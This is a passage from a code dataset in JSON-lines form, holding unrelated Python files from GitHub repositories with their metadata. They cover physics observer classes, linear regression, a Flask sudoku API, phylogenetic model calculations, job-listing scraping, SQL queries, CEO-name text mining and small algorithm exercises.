({}).\".format(len(value), len(self._observers)))\n else:\n for observer in self._observers:\n observer.acceptance_angle = value\n\n @property\n def radius(self):\n # The radius of the fibre tip in metres. This radius defines a circular area at the fibre tip\n # which will be sampled over.\n return [observer.radius for observer in self._observers]\n\n @radius.setter\n def radius(self, value):\n if isinstance(value, (list, tuple, ndarray)):\n if len(value) == len(self._observers):\n for observer, v in zip(self._observers, value):\n observer.radius = v\n else:\n raise ValueError(\"The length of 'radius' ({}) \"\n \"mismatches the number of observers ({}).\".format(len(value), len(self._observers)))\n else:\n for observer in self._observers:\n observer.radius = value\n","repo_name":"cherab/core","sub_path":"cherab/tools/observers/group/fibreoptic.py","file_name":"fibreoptic.py","file_ext":"py","file_size_in_byte":4887,"program_lang":"python","lang":"en","doc_type":"code","stars":38,"dataset":"github-code","pt":"47"} +{"seq_id":"4642413911","text":"import csv\nimport matplotlib.pyplot as plt\nimport os.path\nimport pandas as pd\nimport json\n\n\ndef train():\n data = pd.read_csv(\"data.csv\")\n learning_rate = 0.1\n m = len(data.km.values)\n the0 = 0.0\n the1 = 0.1\n min_km = min((data.km))\n max_km = max((data.km))\n max_price = max((data.price))\n min_price = min((data.price))\n for i in range(1000):\n sum_t0 = 0.0\n sum_t1 = 0.0\n for value in data.values:\n #Utilisation de la normalisation selon la formule: X_norm = (X - X.min()) / (X.max() - X.min())\n #La normalisation est utile pour reduire l ecart entre les donnees en les contenant toutes entre 0 et 1. Un trop grand ecart peut fausser l apprentissage.\n value_0 = (float(value[0]) - min_km) / (max_km - min_km)\n value_1 = (float(value[1]) - min_price) / (max_price - min_price)\n #On additionne le total de nos erreurs dans la prediction du prix du vehicule pour se faire on applique la formule estimatePrice(mileage) = θ0 + (θ1 ∗ mileage) puis on soustrait le vrai prix pour comparer pour chaque index.\n sum_t0 = sum_t0 + (the0 + (the1 * value_0) - value_1)\n # Le calcul pour la sum_t1 est le meme mais on multiplie par le nombre de kilometres a la fin pour estimer la participation du kilometrage a notre erreur.\n sum_t1 = sum_t1 + (the0 + (the1 * value_0) - value_1) * value_0\n \n #Normalisation de learning_rate et calcul des valeurs temporaires de theta0 et theta1 en fonction de la marge d erreur trouvee.\n tmp_the0 = learning_rate * 1/m * sum_t0\n tmp_the1 = learning_rate * 1/m * sum_t1\n\n #Ajustement des valeurs initiales avant de reboucler sur les valeurs et continuer de les peaufiner encore et encore.\n the0 -= tmp_the0\n the1 -= tmp_the1\n\n #Denormalisation des donnees, pour les ramener a leur echelle initiale.\n the0 = the0 * (max_price - min_price) + min_price - (the1 * min_km * (max_price - min_price)) / (max_km - min_km)\n the1 = the1 * (max_price - min_price) / (max_km - min_km)\n\n with open('data.json', 'w') as json_file:\n json.dump({'theta0': the0, 'theta1' : the1}, json_file)\n json_file.close()\n\n print(f'Les valeurs ont été mises à jour, enregistrées dans le data.json et sont égales á theta0: {the0} et theta1: {the1}')\n\n plt.scatter(data['km'], data['price'])\n plt.title('Repartition du prix selon le kilometrage')\n #Tracage de la ligne de regression qui est la relation entre les deux variables.\n plot_x = data.km\n plot_y = the1 * plot_x + the0\n plt.plot(plot_x, plot_y, '-g')\n plt.xlabel('Kilometres')\n plt.ylabel('Prix')\n plt.show()\n \nif __name__ == '__main__':\n if os.path.exists('data.csv'):\n train()","repo_name":"Wulgrind/ft_linear_regression","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":2792,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"5131821689","text":"import matplotlib.pyplot as plt\n\n\ndef plotErrorConvergence(outs=None, opts=None, *args, **kwargs):\n print('outs.residuals',outs.residuals)\n # Plot the error convergence curve\n if opts.recordReconErrors == True:\n fig = plt.figure()\n ax_1 = fig.add_subplot(111)\n ax_1.semilogy(outs.reconErrors)\n ax_1.set_xlabel('Iterations')\n ax_1.set_ylabel('ReconErrors')\n ax_1.set_title('Convergence curve:'+str(' ')+opts.algorithm)\n plt.show()\n\n if opts.recordResiduals == True:\n fig = plt.figure()\n ax_1 = fig.add_subplot(111)\n ax_1.semilogy(outs.residuals)\n ax_1.set_xlabel('Iterations')\n ax_1.set_ylabel('Residuals')\n ax_1.set_title('Convergence curve:'+str(' ')+opts.algorithm)\n plt.show()\n\n if opts.recordMeasurementErrors == True:\n fig = plt.figure()\n ax_1 = fig.add_subplot(111)\n ax_1.semilogy(outs.measurementErrors)\n ax_1.set_xlabel('Iterations')\n ax_1.set_ylabel('MeasurementErros')\n ax_1.set_title('Convergence curve:'+str(' ')+opts.algorithm)\n plt.show()\n\n return\n","repo_name":"LRY0111/phasepack-python","sub_path":"util/plot_error_convergence.py","file_name":"plot_error_convergence.py","file_ext":"py","file_size_in_byte":1128,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"} +{"seq_id":"36889994037","text":"from flask import Flask\nfrom flask import request\nimport solver\nimport numpy as np\nfrom flask_cors import CORS\n\n\napp = Flask(__name__)\nCORS(app)\n\n@app.route('/test', methods=['GET', 'POST'])\ndef test():\n return '''

HELLO WORLD

'''\n\n@app.route('/solve', methods=['POST'])\ndef solve():\n print(f'request: {request}')\n print(f'data: {request.data}')\n\n puzzle = request.json['puzzle']\n print(type(puzzle))\n print(puzzle)\n \n soln = solver.solve(formatBody(puzzle))\n print(soln)\n print(type(soln))\n solved = formatResponse(soln)\n return solved\n\n\ndef formatBody(req):\n arr = []\n for f in req:\n if f == 'n':\n arr.append('')\n else:\n arr.append(f)\n return arr\n\ndef formatResponse(solved):\n return str(np.reshape(solved, (1,81))).replace('.', '').strip(\"[]\").replace(' ', '')\n\n\nif __name__ == \"__main__\":\n app.run(host=\"0.0.0.0\", port=80)","repo_name":"mczerwin/sudokuSolver","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":922,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"8831639763","text":"\"\"\"\nThe purpose of this script is to perform the calculations to make the\n\"decay to stationary state\" plot.\n\nThis includes calculating the \"spielman w_r\" rates of non-syn change from the\n`ExpCM` applying these site-specific values to the `YNGKP_M0`.\n\nTo run doctest, type:\n`python3 -m doctest -v test_doctest.py`\n\nSKH 20170910\n\"\"\"\n\nimport pandas as pd\nfrom phydmslib.constants import *\nimport phydmslib.models\nimport phydmslib.file_io\nimport os\n\n\n# Define the models\ndef read_phydms_model_params(param):\n params = pd.read_csv(param, engine=\"python\", sep=\" = \", header=None)\n params = dict(zip(params[0], params[1]))\n return params\n\n\ndef create_model_YNGKP_M0(param, nsites):\n \"\"\"\n This is the basic `YNGKP_M0` from `phydms`\n \"\"\"\n params = read_phydms_model_params(param)\n e_pw = [[] for x in range(3)]\n for i in range(3):\n params[\"phi{0}T\".format(i)] = 1 - sum([params[x] for x in params.keys()\n if x.startswith(\"phi{0}\"\n .format(i))])\n e_pw[i] = [params[\"phi{0}{1}\".format(i, INDEX_TO_NT[x])] for x in\n range(N_NT)]\n e_pw = scipy.array(e_pw)\n return phydmslib.models.YNGKP_M0(e_pw, nsites, kappa=params[\"kappa\"],\n omega=params[\"omega\"], mu=0.3,\n freeparams=['mu'])\n\n\ndef create_model_YNGKP_M5(param, nsites):\n \"\"\"\n This is the basic `YNGKP_M5` from `phydms` with 4 categories.\n \"\"\"\n params = read_phydms_model_params(param)\n e_pw = [[] for x in range(3)]\n for i in range(3):\n params[\"phi{0}T\".format(i)] = 1 - sum([params[x] for x in params.keys()\n if x.startswith(\"phi{0}\"\n .format(i))])\n e_pw[i] = [params[\"phi{0}{1}\".format(i, INDEX_TO_NT[x])] for x in\n range(N_NT)]\n e_pw = scipy.array(e_pw)\n m = phydmslib.models.YNGKP_M0(e_pw, nsites, kappa=params[\"kappa\"], mu=0.3,\n freeparams=['mu', 'omega'])\n return phydmslib.models.GammaDistributedOmegaModel(m, ncats=4,\n alpha_lambda=params[\"alpha_omega\"],\n beta_lambda=params[\"beta_omega\"])\n\n\ndef create_model_ExpCM(param, prefs):\n \"\"\"\n This is the basic `ExpCM` from `phydms`\n\n `omega` is set to 1.0\n \"\"\"\n params = read_phydms_model_params(param)\n prefs = phydmslib.file_io.readPrefs(prefs)\n sites = sorted(prefs.keys())\n prefs = [prefs[r] for r in sites]\n params[\"phiT\"] = 1 - sum([params[x] for x in params.keys() if\n x.startswith(\"phi\")])\n phi = scipy.array([params[\"phi{0}\".format(INDEX_TO_NT[x])] for x in\n range(N_NT)])\n return phydmslib.models.ExpCM(prefs, kappa=params[\"kappa\"],\n omega=params[\"omega\"], beta=params[\"beta\"],\n mu=0.3, phi=phi, freeparams=['mu'])\n\n\ndef create_model_YNGKP_wr(param, spielman_wr):\n \"\"\"\n This function creates a `YNGKP_M0` with `omega` equal to the value of\n `spielman_wr`.\n \"\"\"\n params = read_phydms_model_params(param)\n e_pw = [[] for x in range(3)]\n for i in range(3):\n params[\"phi{0}T\".format(i)] = 1 - sum([params[x] for x in params.keys()\n if x.startswith(\"phi{0}\"\n .format(i))])\n e_pw[i] = [params[\"phi{0}{1}\".format(i, INDEX_TO_NT[x])] for x in\n range(N_NT)]\n e_pw = scipy.array(e_pw)\n return phydmslib.models.YNGKP_M0(e_pw, 1, kappa=params[\"kappa\"],\n omega=spielman_wr * params[\"omega\"],\n mu=0.3, freeparams=['mu'])\n\n\n# Calculations\ndef f_calculation(x, pr, Mt, model_name):\n \"\"\"\n This function calcuates the value of `f` (the y-axis) for some amino-acid\n `x`, site `r`, and time `t`.\n\n The inputs for this function are the stationary state subsetted to site `r`\n and the transition matrix (M) subsetted to site `r` and time `t`.\n\n If the model is `YNGKP_M5`, then the input is a list of stationary states\n and transition matrices the length of the number of categories. The `f`\n value will be the average `f` value for the categories.\n\n >>> print(f_calculation(8, scipy.array([0.1,0.2,0.3,0.4]), \\\n scipy.array([[1,-100,3,-100],[-100,-100,-100,-100],[9,-100,11,-100],\\\n [-100,-100,-100,-100]]), \"ExpCM\"))\n 6.4\n \"\"\"\n target_codons = scipy.where(CODON_TO_AA == x)[0] # amino-acid `x` codons\n if model_name == \"GY94 + Gr\": # need to avg `f` over categories `k`\n prx = [pr[k][target_codons] for k in range(len(pr))] # ss\n # transition to syn. codons\n Mtxy = [Mt[k][target_codons][:, target_codons] for k in range(len(Mt))]\n # sum the transition to syn codons\n Mtxy = [scipy.sum(Mtxy[k], axis=1) for k in range(len(Mt))]\n # multiply sum of transition to syn codons by ss and sum for each k\n f_rtx = [(Mtxy[k] * prx[k]).sum() for k in range(len(Mt))]\n return sum(f_rtx)/len(Mt) # return the avg `f` for the categories `k`\n elif model_name in [\"ExpCM\", \"GY94\", \"GY94 + wr\"]:\n prx = pr[target_codons] # stationary state\n Mtxy = Mt[target_codons][:, target_codons] # transition to syn codons\n Mtxy = scipy.sum(Mtxy, axis=1) # sum of transition to syn codons\n # multiply sum of the transition to syn codons by the ss and sum\n f_rtx = (prx * Mtxy).sum()\n else:\n raise ValueError(\"Cannot handle model {0}\".format(model_name))\n return f_rtx\n\n\ndef get_pr(r, model, model_name):\n \"\"\"\n The purpose of this function is to return the stationary state subsetted to\n site `r` correctly for each model.\n\n It returns a (61,61) array for every model except `YNGKP_M5` which it\n returns [(61,61) for k in n.cats].\n \"\"\"\n if model_name == \"GY94 + Gr\":\n return [model.stationarystate(k)[r] for k in range(model.ncats)]\n elif model_name in [\"ExpCM\", \"GY94\", \"GY94 + wr\"]:\n return model.stationarystate[r]\n else:\n raise ValueError(\"Cannot handel model {0}\".format(model_name))\n\n\ndef get_Mrt(r, t, model, model_name):\n \"\"\"\n The purpose of this function is to return the transition matrix subsetted\n to site `r` and time `t`correctly for each model.\n\n This function also uses model.branchScale to correct `t` for each model.\n\n It returns a (61,61) array for every model except `YNGKP_M5` which it\n returns [(61,61) for k in n.cats].\n \"\"\"\n if model_name == \"GY94 + Gr\":\n return [model.M(k, float(t/model.branchScale))[r] for k in\n range(model.ncats)]\n elif model_name in [\"ExpCM\", \"GY94\", \"GY94 + wr\"]:\n return model.M(float(t/model.branchScale))[r]\n else:\n raise ValueError(\"Cannot handel model {0}\".format(model_name))\n\n\ndef main():\n \"\"\"\n The basic workflow of this script is\n 1. define the input files for the various models\n 2. Create `ExCM` model\n 3. Create `YNGKP_M0` and `YNGKP_M5` w/ the same # of sites as `ExpCM`\n 4. Calculate the `spielman_wr` values from the `ExpCM`\n 5. Loop through the sites and models. Create a `YNGKP_wr` for each site.\n Loop through times and amino-acids to calculate `f`.\n 6. Output the dataframe.\n \"\"\"\n\n # Set up the parameter files\n phydms_dir = \"../HA/branch_lengths/phydms/\"\n prefs_dir = \"../HA/data/references/\"\n ExpCM_modelparams_fname = (\"{0}hybrid_lowH1_0_ExpCM_HA_hybridDoud_prefs_modelparams\"\n \".txt\".format(phydms_dir))\n YNGKP_M0_modelparams_fname = (\"{0}hybrid_lowH1_0_YNGKP_M0_modelparams\"\n \".txt\".format(phydms_dir))\n YNGKP_M5_modelparams_fname = (\"{0}hybrid_lowH1_0_YNGKP_M5_modelparams\"\n \".txt\".format(phydms_dir))\n prefs_fname = \"{0}HA_hybridDoud_prefs.csv\".format(prefs_dir)\n if not os.path.isdir(\"outputs\"):\n os.makedirs(\"outputs\")\n # define the maximum amount of time\n max_time = 60\n\n # setup up the final dataframe\n df = {\"Model\": [], \"Time\": [], \"f\": [], \"Site\": []}\n\n # Make the models\n model_list = [\"ExpCM\", \"GY94\", \"GY94 + wr\", \"GY94 + Gr\"]\n models = {}\n if \"ExpCM\" in model_list:\n models[\"ExpCM\"] = create_model_ExpCM(ExpCM_modelparams_fname,\n prefs_fname)\n else:\n raise ValueError(\"Must include `ExpCM`.\")\n if \"GY94\" in model_list:\n models[\"GY94\"] = create_model_YNGKP_M0(YNGKP_M0_modelparams_fname,\n models[\"ExpCM\"].nsites)\n if \"GY94 + Gr\" in model_list:\n models[\"GY94 + Gr\"] = create_model_YNGKP_M5(YNGKP_M5_modelparams_fname,\n models[\"ExpCM\"].nsites)\n if \"GY94 + wr\" in model_list:\n # calculate the spielman_wr values\n spielman_wr = models[\"ExpCM\"].spielman_wr()\n wr = pd.DataFrame({\"site\": [x+1 for x in range(len(spielman_wr))],\n \"wr\": spielman_wr})\n wr.to_csv(\"outputs/spielman_wr.csv\", index=False)\n\n # Perform the calculations\n for r in range(models[\"ExpCM\"].nsites):\n if r % 25 == 0:\n print(r)\n for model_name in model_list:\n if model_name != \"GY94 + wr\":\n model = models[model_name]\n _r = r # dummy site to accomadate `YNGKP + wr`\n else:\n model = create_model_YNGKP_wr(YNGKP_M0_modelparams_fname,\n spielman_wr[r])\n _r = 0\n pr = get_pr(_r, model, model_name)\n for t in range(max_time):\n if t == 0:\n f_rt = 1\n else:\n f_rt = 0\n Mrt = get_Mrt(_r, t, model, model_name)\n for x in range(N_AA):\n f_rt += f_calculation(x, pr, Mrt, model_name)\n df[\"Model\"].append(model_name)\n df[\"Time\"].append(t)\n df[\"f\"].append(f_rt)\n df[\"Site\"].append(r+1)\n df = pd.DataFrame(df)\n df.to_csv(\"outputs/expected_identity_given_time_t.csv\", index=False)\n print(\"done.\")\n\n\nif __name__ == '__main__':\n main()\n import doctest\n doctest.testmod()\n","repo_name":"jbloomlab/divergence_timing_manuscript","sub_path":"analysis/decay_to_stationary/decay_to_stationary_plot.py","file_name":"decay_to_stationary_plot.py","file_ext":"py","file_size_in_byte":10530,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"29399366172","text":"from bs4 import BeautifulSoup as bs\r\nimport requests\r\nimport re\r\nimport pandas as pd\r\n\r\n\r\nheaders = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36'}\r\nmain_link_hh ='https://hh.ru/search/vacancy?text='\r\nmain_link_sj = 'https://www.superjob.ru'\r\nvacancy = 'python'\r\npages = 9\r\ndf = pd.DataFrame(columns=['vacancy_title', 'company_title', 'vacancy_address', 'vacancy_link', 'min_salary', 'max_salary', 'salary_currency', 'source'])\r\n\r\n#HeadHunter\r\n\r\nfor i in range(0, pages+1):\r\n html = requests.get(main_link_hh + vacancy + '&page=' + str(i), headers=headers).text\r\n parsed_html = bs(html,'lxml')\r\n\r\n vacancies = parsed_html.find_all('div',{'class':'vacancy-serp-item'})\r\n for v in vacancies:\r\n vacancy_title = v.find('a', {'data-qa':'vacancy-serp__vacancy-title'}).get_text()\r\n vacancy_company = v.find('div', {'class':'vacancy-serp-item__meta-info'}).get_text()\r\n vacancy_address = v.find('span', {'data-qa':'vacancy-serp__vacancy-address'}).get_text()\r\n vacancy_link = v.find('a', {'data-qa':'vacancy-serp__vacancy-title'})['href']\r\n vacancy_salary = v.find('div', {'data-qa':'vacancy-serp__vacancy-compensation'})\r\n if not vacancy_salary:\r\n salary_min = None\r\n salary_max = None\r\n salary_cur = None\r\n else:\r\n salary = re.findall('\\d+[\\s\\d]*', vacancy_salary.get_text().replace('\\xa0', ''))\r\n salary_cur = re.search('([A-яA-z]{3}\\.*)', vacancy_salary.get_text()).group()\r\n if len(salary) > 1:\r\n salary_min = int(salary[0])\r\n salary_max = int(salary[1])\r\n else:\r\n if 'от' in vacancy_salary.get_text():\r\n salary_min = int(salary[0])\r\n salary_max = None\r\n else:\r\n salary_min = None\r\n salary_max = int(salary[0])\r\n df.loc[len(df)] = [vacancy_title, vacancy_company, vacancy_address, vacancy_link, salary_min, salary_max, salary_cur, 'HeadHunter']\r\n\r\n\r\n#SuperJob\r\n\r\nfor i in range(pages+1):\r\n html = requests.get(main_link_sj +'/vacancy/search/?keywords=' + vacancy + '&page=' + str(i), headers=headers).text\r\n parsed_html = bs(html,'lxml')\r\n\r\n vacancies = parsed_html.find_all('div',{'class':'_3zucV _2GPIV f-test-vacancy-item i6-sc _3VcZr'})\r\n\r\n for v in vacancies:\r\n vacancy_title = v.find('div', {'class':'_3mfro CuJz5 PlM3e _2JVkc _3LJqf'}).get_text()\r\n vacancy_company = v.find('span', {'class':'_3mfro _3Fsn4 f-test-text-vacancy-item-company-name _9fXTd _2JVkc _3e53o _15msI'}).get_text()\r\n vacancy_address = v.find('span', {'class':'_3mfro f-test-text-company-item-location _9fXTd _2JVkc _3e53o'}).span.next_sibling.next_sibling.get_text()\r\n vacancy_link = main_link_sj + v.find('div', {'class':'_3mfro CuJz5 PlM3e _2JVkc _3LJqf'}).parent['href']\r\n vacancy_salary = v.find('span', {'class':'_3mfro _2Wp8I f-test-text-company-item-salary PlM3e _2JVkc _2VHxz'}).get_text().replace('\\xa0', '')\r\n\r\n if vacancy_salary == 'По договорённости':\r\n salary_min = None\r\n salary_max = None\r\n salary_cur = None\r\n else:\r\n salary = re.findall('\\d+[\\s\\d]*', vacancy_salary)\r\n salary_cur = 'руб.'\r\n if len(salary) > 1:\r\n salary_min = int(salary[0])\r\n salary_max = int(salary[1])\r\n else:\r\n if 'от' in vacancy_salary:\r\n salary_min = int(salary[0])\r\n salary_max = None\r\n else:\r\n salary_min = None\r\n salary_max = int(salary[0])\r\n df.loc[len(df)] = [vacancy_title, vacancy_company, vacancy_address, vacancy_link, salary_min, salary_max, salary_cur, 'SuperJob']\r\n\r\nprint(df.info())\r\nprint(df.head().to_string())\r\nprint(df.tail().to_string())\r\n\r\n","repo_name":"Filkin-S/GB_Data_Parsing_And_Scraping","sub_path":"Урок 2. Парсинг HTML. BeautifulSoup, MongoDB/hh-superjob.py","file_name":"hh-superjob.py","file_ext":"py","file_size_in_byte":3994,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"20452539292","text":"import datetime\nfrom typing import Optional\nfrom svo.core.models import OptionPrices\nfrom sqlalchemy.engine.cursor import CursorResult\n\nclass PricesRepo():\n def __init__(self, session_maker) -> None:\n self.session = session_maker\n\n def retrieve_prices(self, market_cap, back_date:int, maturity: Optional[int] = 10) -> CursorResult:\n current_date = datetime.datetime.now()\n ref_date = datetime.datetime(current_date.year - back_date, 9, 1)\n sql = (f\"SELECT prc.symbol, prc.strike, prc.ten_yr_bond, prc.implied_vol, prc.div_yield, prc.option_grant_date, \"\n f\"prc.price_comp_date, prc.next_year_price, prc.row_id FROM option_prices prc JOIN companies co ON \"\n f\"prc.symbol = co.symbol WHERE co.market_cap < {market_cap * 2} AND co.market_cap > {market_cap / 2}\"\n f\" AND co.start_date < '{ref_date}' AND prc.option_grant_date > '{ref_date}' ORDER BY \"\n f\"prc.symbol, prc.price_comp_date\")\n\n with self.session() as session:\n return session.execute(sql)\n\n def retrieve_prices_offets(self, market_cap, n_cies: int, back_date: int) -> CursorResult:\n current_date = datetime.datetime.now()\n ref_date = datetime.datetime(current_date.year - back_date, 8, 31)\n top_cies = f\"SELECT symbol FROM companies WHERE start_date < '{ref_date}'\" \\\n f\" ORDER BY ABS(market_cap - {market_cap}) LIMIT {n_cies}\"\n sql = (f\"SELECT * from option_prices WHERE symbol IN ({top_cies}) AND option_grant_date > \"\n f\"'{ref_date}'\")\n with self.session() as session:\n return session.execute(sql)","repo_name":"mrinisami/stockOrOptions","sub_path":"svo/repos/prices.py","file_name":"prices.py","file_ext":"py","file_size_in_byte":1615,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"9202601526","text":"import nltk\n# nltk.download()\n\nimport pandas as pd\nimport numpy as np\nfrom nltk.tokenize import word_tokenize\nfrom nltk.corpus import stopwords\nimport random\nfrom sklearn.linear_model import LogisticRegression\nimport statsmodels.api as sm\nimport re\nimport glob\nfrom collections import Counter\n\n# Create List of Documents\nPATH = \"C:\\\\Users\\\\Pranav\\\\Documents\\\\Northwestern\\\\Junior\\\\Winter\\\\IEMS_308\\\\Kaza_Text_Analytics\\\\text_data\\\\*.txt\"\nfiles = glob.glob(PATH)\ndoc_list = list()\nfor name in files:\n with open(name, 'r',errors = \"ignore\",encoding = \"utf-8\") as test_data:\n data=test_data.read().replace('\\n', '')\n doc_list.append(data)\n\n# Explore Data by Determining Context of CEO name usage (separate by document)\n# elon = \"Elon Musk\"\n# elon_documents = list()\n# for document in doc_list:\n# if elon in document:\n# elon_documents.append(document)\n\n# apu = \"Apu Gupta\"\n# apu_documents = list()\n# for document in doc_list:\n# if apu in document:\n# apu_documents.append(document)\n\n# ron = \"Ron Johnson\"\n# ron_documents = list()\n# for document in doc_list:\n# if ron in document:\n# ron_documents.append(document)\n\n# Develop training data set\n# random.shuffle(doc_list)\n# train_data = doc_list[:365]\n# test_data = doc_list[365:]\n \n# Transform into a String\ndata_string = \"\"\nfor document in doc_list:\n data_string = data_string + \" \" + document\n\n# Word Tokenize\npunc = (\",`~{}|:./;'?&-$()[]!+_=-:*^\\<>#@&\")\ntranstable = {ord(c): None for c in punc}\ndata_nopunc = data_string.translate(transtable)\ndata_words = word_tokenize(data_nopunc)\n\n# Remove Stop Words\nstop_words = set(stopwords.words('english'))\ndata_words_1 = list()\nfor word in data_words:\n if word not in stop_words:\n data_words_1.append(word)\ndata_words = data_words_1.copy()\ndel data_words_1\n\n# Reform Whole String of Data\ndata_string = ' '.join(data_words)\n\n# Generate Bigrams\ndata_bigrams = list(nltk.bigrams(data_string.split()))\ndata_bigrams = [b[0] + \" \" + b[1] for b in data_bigrams]\n\n# Find all Capitalized Words for Test Set\ncap_words = re.findall('[A-Z][A-Za-z]+',data_string)\n\n# Delete Useless and Frequent Words\ncounts = Counter(cap_words)\ncommons = counts.most_common(1000)\n\ncommons = [ii[0] for ii in commons]\ncommon_dict = {}\nfor ii in range(len(commons)):\n common_dict[commons[ii]] = 1\nfinal_words = list()\nfor word in cap_words:\n if word not in common_dict.keys():\n final_words.append(word)\n\n# Generate Bigrams for Test Set\ndata_string1 = ' '.join(final_words)\nfinal_bigrams = list(nltk.bigrams(data_string1.split()))\nfinal_bigrams = [b[0] + \" \" + b[1] for b in final_bigrams]\n\n# Create Dictionary of CEOs\nPATH = \"C:\\\\Users\\\\Pranav\\\\Documents\\\\Northwestern\\\\Junior\\\\Winter\\\\IEMS_308\\\\Kaza_Text_Analytics\\\\ceo.csv\"\nceo = pd.read_csv(PATH,encoding = 'latin1',header = None)\ndel ceo[2]\nceo = ceo.drop_duplicates()\nceo['Name'] = ceo[0] + \" \" + ceo[1]\ndel ceo[0]\ndel ceo[1]\nceo = ceo.reset_index()\ndel ceo['index']\nceo = ceo['Name'].tolist()\nceo_dict = {}\nfor ii in range(len(ceo)):\n ceo_dict[ceo[ii]] = 1\n\n# Find all Bigrams in Text that are CEO Names\nmatching = list()\nfor bigram in data_bigrams:\n if bigram in ceo_dict.keys():\n matching.append(bigram)\n\n# Create Data Frame so that a Classification Model can be Run\ndf_ceo = pd.DataFrame(np.array(matching).reshape(len(matching),1),columns = [\"ceo_name\"])\ndf_ceo = df_ceo.drop_duplicates()\ndf_ceo = df_ceo.set_index('ceo_name')\ndf_ceo['ceo'] = 1\n\n# Read in U.S. Politician Names Data as Negative Samples\nPATH = \"C:\\\\Users\\\\Pranav\\\\Documents\\\\Northwestern\\\\Junior\\\\Winter\\\\IEMS_308\\\\Kaza_Text_Analytics\\\\politicians.csv\"\n\ndf_pol = pd.read_csv(PATH,header = None)\ndf_pol['Name'] = df_pol[0] + \" \" + df_pol[1]\ndel df_pol[0]\ndel df_pol[1]\ndf_pol = df_pol.reset_index()\ndel df_pol['index']\ndf_pol = df_pol['Name'].tolist()\ndf_pol = [x for x in df_pol if str(x) != 'nan']\npol_dict = {}\nfor ii in range(len(df_pol)):\n pol_dict[df_pol[ii]] = 1\n\n# Match all Politician Names from Corpus\nmatching = list()\nfor bigram in data_bigrams:\n if bigram in pol_dict.keys():\n matching.append(bigram)\ndf_pol = pd.DataFrame(np.array(matching).reshape(len(matching),1),columns = [\"pol_name\"])\ndf_pol = df_pol.drop_duplicates()\ndf_pol = df_pol.set_index('pol_name')\ndf_pol['ceo'] = 0\n\n# Collect Random Bigrams that are not CEO names as Additional Negative Samples\nsamp = random.sample(data_bigrams,len(df_ceo) - len(df_pol) - 100)\nnegatives = list()\nfor ii in range(0,len(samp)-1):\n if (samp[ii] not in ceo_dict.keys()) and (samp[ii] not in pol_dict.keys()):\n negatives.append(samp[ii])\nnegatives = pd.DataFrame(np.array(negatives).reshape(len(negatives),1),columns = ['name'])\nnegatives = negatives.set_index('name')\nnegatives['ceo'] = 0\n\n# Combine Positive and Negative Samples into One Dataframe\ndf_ceo = pd.concat([df_ceo,df_pol,negatives])\ndf_ceo = df_ceo.reset_index()\ndf_ceo.columns = [['name','isCEO']]\n\n# Develop Training Feature: Determine if the word \"CEO\" is nearby\ndf_ceo['word_nearby'] = 0\nfor ii in range(0,len(df_ceo)-1):\n if ('CEO' in data_string[re.search(df_ceo['name'][ii],data_string).start()-30:re.search(df_ceo['name'][ii],data_string).end()+30]):\n df_ceo.loc[ii,'word_nearby'] = 1\n\n# Apply Feature to Test Set\nceo_xtest = list()\nfor ii in range(0,len(final_bigrams)-1):\n if ('CEO' in data_string1[re.search(final_bigrams[ii],data_string1).start()-30:re.search(final_bigrams[ii],data_string1).end()+30]):\n ceo_xtest = ceo_xtest + [1]\n else:\n ceo_xtest = ceo_xtest + [0]\n\n# Fit logistic Regression Model\nceo_xtrain = df_ceo['word_nearby'].values.reshape(-1,1)\nceo_ytrain = df_ceo['isCEO'].values\nLogReg = LogisticRegression()\nLogReg.fit(ceo_xtrain,ceo_ytrain)\nceo_xtest = pd.DataFrame(np.array(ceo_xtest).reshape(len(ceo_xtest),1),columns = ['word_nearby'])\nceo_logit = sm.Logit(ceo_ytrain,ceo_xtrain)\nresult = ceo_logit.fit()\nprint(result.summary())\nceo_ytest = LogReg.predict(ceo_xtest.values.reshape(-1,1))\n\n# Apply Model to Test Set\ndf_ytest = pd.DataFrame(np.array(ceo_ytest).reshape(len(ceo_ytest),1),columns = ['prediction'])\ndf_final_bigrams = pd.DataFrame(np.array(final_bigrams).reshape(len(final_bigrams),1),columns = ['bigram'])\nceo_results = pd.concat([df_ytest,df_final_bigrams],axis = 1)\nceo_results = ceo_results[ceo_results['prediction'] == 1]\ndel ceo_results['prediction']\nceo_results.to_csv('ceo_results.csv')\n","repo_name":"pkk503/308_TextAnalytics","sub_path":"ceo_sourcecode.py","file_name":"ceo_sourcecode.py","file_ext":"py","file_size_in_byte":6380,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"1721281040","text":"import cv2\nimport matplotlib.pyplot as plt\n\ncap=cv2.VideoCapture(0)\n\nif cap.isOpened():\n\tret, fram=cap.read()\n\tcv2.imshow('live',fram)\n\t\nelse:\n\tret = False\n\n#img=cv2.cvtColor(fram,cv2.COLOR_BGR2RGB)\n\n#cv2.imshow('live-2',img)\n\nplt.imshow(fram)\n#plt.nameWindow('pic')\nplt.xticks([])\nplt.yticks([])\nplt.show()\n\n#cap.release()\n#cv2.destroyAllWindows()","repo_name":"ritesh2912/python","sub_path":"cv2 module/cam1.py","file_name":"cam1.py","file_ext":"py","file_size_in_byte":348,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"12149647023","text":"import sys\ndef solution(gems):\n answer = []\n short = sys.maxsize\n start, end = 0, 0\n dist = len(set(gems))\n dic = dict()\n while end < len(gems):\n if gems[end] not in dic:\n dic[gems[end]] = 1\n else:\n dic[gems[end]] += 1\n end += 1\n if len(dic) == dist:\n while start < end:\n if dic[gems[start]] > 1:\n dic[gems[start]] -= 1\n start += 1\n elif short > end - start:\n short = end - start\n answer = [start + 1, end]\n break\n else:\n break\n return answer\n\n\ngems = [\"DIA\", \"RUBY\", 